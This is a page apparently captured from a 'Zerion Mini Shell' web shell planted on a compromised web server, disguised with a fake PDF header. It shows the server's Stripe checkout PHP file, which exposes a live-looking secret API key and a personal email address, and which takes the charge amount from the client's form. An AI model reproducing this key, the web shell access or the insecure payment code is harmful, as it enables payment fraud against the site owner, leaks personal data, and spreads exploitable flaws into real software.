%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/eirtvhdf/public_html/stripe/
Upload File :
Create Path :
Current File : /home/eirtvhdf/public_html/stripe/check-out.php

<?php
/*foreach ($_POST as $key => $value) {
    echo "Field ".htmlspecialchars($key)." is ".htmlspecialchars($value)."<br>";
}*/
?>


<?php require_once('../root_stripe/stripe/init.php'); ?>

<?php


// Set your secret key: remember to change this to your live secret key in production
// See your keys here: https://dashboard.stripe.com/account/apikeys
//\Stripe\Stripe::setApiKey("sk_test_yAeBLEexLzniHQPix52aXQ4H");
\Stripe\Stripe::setApiKey("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");

// Token is created using Checkout or Elements!
// Get the payment token ID submitted by the form:
$token = $_POST['stripeToken'];
$amount = $_POST['stripeAmount'];
$desc = $_POST['stripeDesc'];

$charge = \Stripe\Charge::create([
    'amount' => $amount,
    'currency' => 'GBP',
    'description' => $desc,
    'source' => $token,
    'receipt_email' => 'fahadansari91@gmail.com',
]);

//echo $charge;
//header('Location: '.'/eirtechs/');
echo '<script type="text/javascript">
           window.location = "../thankyou/PaymentDone.php"
      </script>';
      
	?>


Zerion Mini Shell 1.0